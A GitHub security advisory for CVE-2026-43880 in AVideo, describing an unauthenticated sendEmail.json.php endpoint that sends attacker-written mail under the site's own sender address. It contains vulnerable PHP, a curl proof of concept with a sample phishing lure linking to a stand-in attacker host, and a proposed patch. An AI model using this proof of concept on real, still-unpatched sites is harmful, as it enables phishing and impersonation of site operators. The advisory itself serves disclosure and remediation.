GitHub Advisoryadvisory · Packagist
GHSA-5hgj-7gm9-cff5 AVideo: Unauthenticated Arbitrary Email Sending via sendEmail.json.php Enables Phishing from the Site’s Legitimate From Address
MEDIUM
Official page ↗
- Aliases
- CVE-2026-43880
- Ecosystem
- Packagist
- Packages
- wwbn/avideo
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
- Weaknesses
- CWE-940
- Reviewed
- 2026-05-05
Affected packages
• Packagist wwbn/avideo: <= 29.0 (no fix yet)
Description
Summary
`objects/sendEmail.json.php` exposes two branches depending on whether `contactForm=1` is submitted. When the parameter is omitted, the endpoint sets `$sendTo` to an attacker-supplied email and, for unauthenticated callers, uses the site's own contact email as the message `From:`/`Reply-To:`. The endpoint is explicitly allow-listed as a "public write action" in `objects/functionsSecurity.php` (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site's own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site's legitimate sender address, passing SPF/DKIM/DMARC for the site's domain — ideal for targeted phishing and brand impersonation.
Details
Vulnerable code (`objects/sendEmail.json.php`):
```php
10: $valid = Captcha::validation(@$_POST['captcha']);
11: if(User::isAdmin()){
12: $valid = true;
13: }
...
16: if ($valid) {
...
24: $mail = new \PHPMailer\PHPMailer\PHPMailer();
25: setSiteSendMessage($mail); // uses site's SMTP credentials
...
30: $replyTo = User::getEmail_();
31: if (empty($replyTo)) {
32: $replyTo = $config->getContactEmail(); // getContactEmail();
41: }
42:
43: if (filter_var($sendTo, FILTER_VALIDATE_EMAIL)) {
44: $mail->AddReplyTo($replyTo); // site's address
45: $mail->setFrom($replyTo); // From: site's address
...
47: $mail->addAddress($sendTo); // TO: attacker-chosen victim
...
49: $safeFirstName = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');
50: $mail->Subject = 'Message From Site ' . $config->getWebSiteTitle() . " ({$safeFirstName})";
51: $mail->msgHTML($msg);
...
55: if (!$mail->send()) { ... }
```
`User::getEmail_()` (`objects/user.php:345-352`): returns `''` when the caller is not logged in, driving the fallback to `$config->getContactEmail()`.
Endpoint is publicly callable. `objects/functionsSecurity.php:879-918` lists `sendEmail.json.php` in the built-in "public write actions" CSRF/same-domain bypass:
```php
static $builtinBypass = [
...
// Public write actions
'sendEmail.json.php',
...
];
if (in_array($baseName, $builtinBypass, true)) { return; }
```
Why existing defenses don't mitigate the abuse:
• Captcha (`Captcha::validation`): costs one solve per email. Manual solves remain viable for targeted phishing, and a separate captcha-bypass primitive in this codebase (tracked separately) automates abuse.
• `FILTER_VALIDATE_EMAIL` (line 43): validates `$sendTo` format, preventing CRLF/header injection, but does not verify that the sender is authorized to send to that address.
• `htmlspecialchars` on `$safeEmail`/`$safeComment`/`$safeFirstName`: blocks HTML injection in the rendered message but does not prevent phishing content — attacker fully controls the visible text (URL, instructions) and the perceived sender.
• No rate limiting, no auth check, no association between the caller and the recipient address.
Flow summary for the abuse case (unauthenticated, no `contactForm`):
1. `User::getEmail_()` → `''`, so `$replyTo` = site's contact email (line 32)
2. `$sendTo` = attacker's chosen recipient (line 35)
3. `contactForm` branch skipped (line 38)
4. Site's SMTP sends `From: ` to `` with attacker's subject/body (lines 44-51)
Because the message is genuinely relayed by the site's mail infrastructure, SPF/DKIM/DMARC for the site's domain pass, making the phishing message indistinguishable from legitimate site mail.
PoC
Endpoint: `POST /objects/sendEmail.json.php` (also reachable via `POST /sendEmail` per `.htaccess:201`).
```bash
1. Obtain a session + captcha image
curl -c cookies.txt -s 'http://target.example.com/captcha.php?refresh=1' -o captcha.png
attacker manually solves the captcha -> e.g. 'abc123'
2. Send phishing email. Note: contactForm is OMITTED.
• User::getEmail_() returns '' (unauth) -> $replyTo falls back to site's contact email
• $sendTo = attacker-chosen recipient
• setFrom($replyTo) -> From: is the site's real address
curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
--data-urlencode 'captcha=abc123' \
--data-urlencode '[email protected]' \
--data-urlencode 'first_name=Support Team' \
--data-urlencode 'comment=Urgent: Your account will be suspended. Please verify at http://attacker.example.com/reset'
```
Expected server response:
```json
{"error":"","success":"Message sent"}
```
Delivered headers at `[email protected]`:
```
From:
Reply-To:
To: [email protected]
Subject: Message From Site (Support Team)
Body: Email: [email protected]: Your account will be suspended...
```
Contrast with the intended `contactForm=1` flow (correctly routes to the site owner):
```bash
curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
--data-urlencode 'captcha=' \
--data-urlencode '[email protected]' \
--data-urlencode 'comment=hi' \
--data-urlencode 'contactForm=1'
-> $sendTo = site owner's contact email; $replyTo = attacker's email. (Normal contact form.)
```
Omitting `contactForm` inverts the routing and turns the endpoint into an unauthenticated sender-for-hire using the site's own From: identity.
Impact
• Phishing with the site's real sender identity. Mail originates from the site's SMTP, so SPF/DKIM/DMARC pass; the message is indistinguishable from legitimate site communications and bypasses inbox anti-phishing heuristics.
• Brand impersonation / account-takeover chains. Attacker-controlled subject (`first_name`) and body (`comment`) support credential-harvesting pages that appear to come from the site operator.
• Mail-reputation damage. Repeated abuse can blacklist the site's sending IP/domain, degrading legitimate mail deliverability.
• Works against any AVideo instance with SMTP configured — a default deployment after the admin configures SMTP for standard notifications. No privileged position, credentials, or non-default flags required.
Recommended Fix
Collapse the endpoint to contact-owner-only behavior and require either authentication or `contactForm=1`. Minimal patch:
```php
// objects/sendEmail.json.php
...
$valid = Captcha::validation(@$_POST['captcha']);
if (User::isAdmin()) {
$valid = true;
}
// Reject the non-contactForm branch for unauthenticated callers.
// The "share with a friend" flow already requires User::isLogged()
// in the UI (view/.../functiongetShareMenu.php), so enforce it here too.
if (empty($_POST['contactForm']) && !User::isLogged()) {
$obj = new stdClass();
$obj->error = __("Authentication required");
header('Content-Type: application/json');
echo json_encode($obj);
exit;
}
$obj = new stdClass();
$obj->error = '';
if ($valid) {
...
$replyTo = User::getEmail_();
if (empty($replyTo)) {
// Should no longer be reachable for arbitrary recipients.
// Keep as defense-in-depth only for contactForm=1 path.
$replyTo = $config->getContactEmail();
}
...
}
```
Additional hardening:
1. Always use a dedicated `no-reply@` address in `setFrom()`; put the caller's address only in `Reply-To`. Never reuse `$config->getContactEmail()` as the From for user-initiated messages.
2. For the logged-in "share" flow, verify the caller's email has been confirmed, and rate-limit by user id …
Related
Alias · CVE (1)
- CVE-2026-43880 WWBN AVideo is an open source video platform. vulnerability
Weakness · CWE (1)
- CWE-940 Improper Verification of Source of a Communication Channel weakness